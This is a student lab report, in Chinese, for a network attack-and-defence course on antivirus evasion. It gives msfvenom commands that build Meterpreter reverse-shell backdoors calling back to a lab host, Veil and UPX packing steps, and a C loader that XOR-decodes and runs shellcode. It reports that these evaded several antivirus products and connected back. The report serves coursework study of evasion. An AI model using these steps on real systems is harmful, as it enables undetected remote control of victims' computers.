• 20192406梁健 202120222 《网络与系统攻防技术》实验三实验报告


    20192406梁健 2021-2022-2 《网络与系统攻防技术》实验三实验报告

    1.实验内容

    (1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程

    (2)通过组合应用各种技术实现恶意代码免杀

    如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

    (3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    2.实验过程

    (1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

    • 正确使用msf编码器

    无编码的exe文件

    命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 -f exe > friend.exe

    7次编码的exe文件

    命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b '\x00' LHOST=192.168.192.128 LPORT=443 -f exe > friend.exe

    • 使用msfvenom生成如jar文件

    命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 -f jar > friend.jar

    • 使用msfvenom生成如php文件

    命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 x> friend.php

    • 使用msfvenom生成如py文件

    命令msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 -f py > friend.py

    2)veil,加壳工具

    • veil实现
    veil生成happy.exe.bat

    命令

    veil进入控制台

    输入use 1选择Evasion

    输入list查看并选择生成程序

    输入use powershell/meterpreter/rev_tcp.py选择powershell语言

    设置LHOSTset LHOST 192.168.192.128,LPORTset LPORT 1400

    输入generate生成后门程序happy.exe.bat

    veil生成20192406lj1.py

    命令

    输入use python/meterpreter/rev_tcp.py选择python语言

    设置LHOSTset LHOST 192.168.192.128,选择默认LPORT=4444

    输入generate生成后门程序20192406lj1.py

    veil生成happy.exe

    命令

    输入use c/meterpreter/rev_tcp.py选择c语言

    设置LHOSTset LHOST 192.168.192.128,选择默认LPORT=4444

    输入generate生成后门程序happy.exe

    • UPX加壳

    命令upx happy.exe -o happypro.exe

    3)使用C + shellcode编程

    使用msf生成shellcode数组,命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=4445 -f c

    新建20192406lj1.c,将数组写入程序。

    编译C程序,得到20192406lj1.exe

    检查识别情况

    (2)通过组合应用各种技术实现恶意代码免杀

    采用“C+Shellcode[异或]+UPX”实现免杀,msf生成Shellcode数组,将其以异或0x01存储在C语言文件中,执行时再次异或0x01使用,再加上UPX压缩壳。

    命令:

    生成shellcode数组: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=443 -f c

    #20192406lj1.c
    unsigned char buf[] ="\xfd\xe9\x8e\x1\x1\x1\x61\x30\xd3\x65\x8a\x53
    ......
    \xd4";#异或0x01后的结果
    
    int main()
    {
    	int i;
    	for(i=0;i<sizeof(buf)-1;i++){buf[i] ^= 0x01;}
    
    	int (*func)() = (int(*)())buf;
    	func();
    }   
    

    编译: i686-w64-mingw32-g++ 20192406lj2.c -o 20192406lj2.exe

    加UPX壳: upx 20192406lj2.exe -o 20192406lj2_upx.exe

    实验结果如下,可以实现反弹连接,腾讯电脑管家和联想杀毒Plus短时间内都内对其产生反应。但当执行多次后,终于被发现。

    • 不使用[异或]方式

    • 使用[异或方式]

    (3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    修改虚拟机网络适配器为桥接模式,并选择宿主机局域网适配器。

    生成恶意程序msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.103 lport=443 -f raw -o 201924061.raw

    在网站上检测恶意程序

    将恶意程序传入另一台windows电脑,并执行查看反弹连接和杀软情况,系统安全软件360杀毒5.0.0.8170版本。

    3.问题及解决方案

    • 问题1:在教学楼无法下载wine32

    • 问题1解决方案:更换Kali软件源为官方源,并在宿舍网络下下载。

    • 问题2:使用C+Shellcode的方法生成的程序无法进行反弹连接。

    • 问题2解决方案:在此基础上加上UPX压缩壳就可以成功执行。

    • 问题3:i686-w64-mingw32-g++编译的程序无法执行,提示缺少dll文件。

    • 问题3解决方案:将linux文件中的dll传到win上mingw64/bin中即可。

    回答问题

    (1)杀软是如何检测出恶意代码的?

    • 基于特征码的检测
    • 启发式恶意软件检测
    • 基于行为的恶意软件检测

    (2)免杀是做什么?

    免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。

    (3)免杀的基本方法有哪些?

    • 加冷门壳
    • 加花指令
    • 改程序入口点
    • 改木马文件特征码
    • C+shellcode

    4.学习感悟、思考等

    通过本次实验我学到了很多免杀相关的知识,并在实践层面将所学内容付诸实现,实验的过程的时间主要花费在安装和搭建软件环境上。在实验中通过恶意代码生成软件生成了许多程序,并在网络平台检验其识别率,最主要的是通过veil和C+ShellCode方式实现免杀。实验中我最大的收获是想要真正实现免杀非常难,虽然生成的程序短时间不会被发现,但时间一长,使用次数一多就会被杀毒软件发现,尤其是exe格式的文件很容易被发现。只用使用陌生格式的文件才能安稳避免被杀软发现。网络攻防技术道阻且长,还需要更加深入地学习。

  • 相关阅读:
    5.2基础标签学习
    6.15ajax选房子
    6.15ajax写数据库的增删改查
    [Ext JS 4] 实战之Grid, Tree Gird 添加按钮列
    DOM4J 读取XML配置文件进行数据库连接
    Bit Map解析
    图像像素操作
    九度OJ 1025 最大报销额(01背包)
    MYSQL :逗号分隔串表,分解成竖表
    interrupt & storage & DMA
  • 原文地址:https://www.cnblogs.com/lj2406/p/16097399.html
Copyright © 2020-2023  润新知